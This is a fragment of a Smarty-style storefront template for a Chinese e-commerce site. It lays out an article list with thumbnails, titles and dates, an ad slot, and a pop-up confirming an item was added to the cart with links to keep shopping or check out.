		<!--{if $smarty.foreach.article_item.first}-->
		<li class="first">
			<span class="article_img">
                            {if $article_item.pic neq ""}
							<a href="{$article_item.url}" target="blank"><img alt="{$article_item.title|escape:html}" data-original="{$article_item.pic}" src="images/spacer.gif" class="loading"></a>
							{else}
							<a href="{$article_item.url}" target="blank"><img alt="{$article_item.title|escape:html}" data-original="images/article.jpg" src="images/spacer.gif" class="loading"></a>
							{/if}
			</span>
			<span class="article_title"><a href="{$article_item.url}" title="{$article_item.title|escape:html}">{$article_item.title|escape:html}</a></span>
			<span class="article_desc"><a href="{$article_item.url}" target="blank">{$article_item.description}</a></span>
		</li>
		<!--{else}-->
		<li>
			<span class="article_title"><a href="{$article_item.url}" title="{$article_item.title|escape:html}">{$article_item.title|escape:html}</a></span>
			<span class="article_time">{$article_item.add_time|escape:html}</span>
		</li>
		<!--{/if}-->
	<!--{/foreach}-->
		
</ul>
		
		</div>
		<div class="index_article_r">
					  {foreach from=get_advlist_position_id(26,0,1) item=ad name=index_image}
						<a href="{$ad.url}"><img src="{$ad.image}"></a>
					  {/foreach}
		</div>
		
		<div class="clear"></div>
	
	</div>
</div>
{else}
<ul>
	<!--{foreach from=$articles item=article_item name=article_item}-->
	<li><a href="{$article_item.url}" title="{$article_item.title|escape:html}" {if $article_item.article_type eq 1}class="hotact"{/if}>{$article_item.title|escape:html}</a></li>
	<!--{/foreach}-->
</ul>
<a href="{$articles_cat.url}" title="{$articles_cat.name|escape:html}" class="more"><img src="images/more.png" width="46" height="14"></a>
{/if}
 <!-- #EndLibraryItem -->
<!-- TemplateEndEditable -->
</div>



<!-- #BeginLibraryItem "/library/page_footer.lbi" --> <!-- #EndLibraryItem -->
<div class="add_ok" id="cart_show">
    <div class="tip">
        <i class="iconfont"></i>商品已成功加入购物车
    </div>
    <div class="go">
        <a href="javascript:easyDialog.close();" class="back">&lt;&lt;继续购物</a>
        <a href="flow.php" class="btn">去结算</a>
    </div>
</div>
<!--首页楼层导航-->
<!-- #BeginLibraryItem "/library/index_floor_map.lbi" --> <!-- #EndLibraryItem -->
</body>
</html>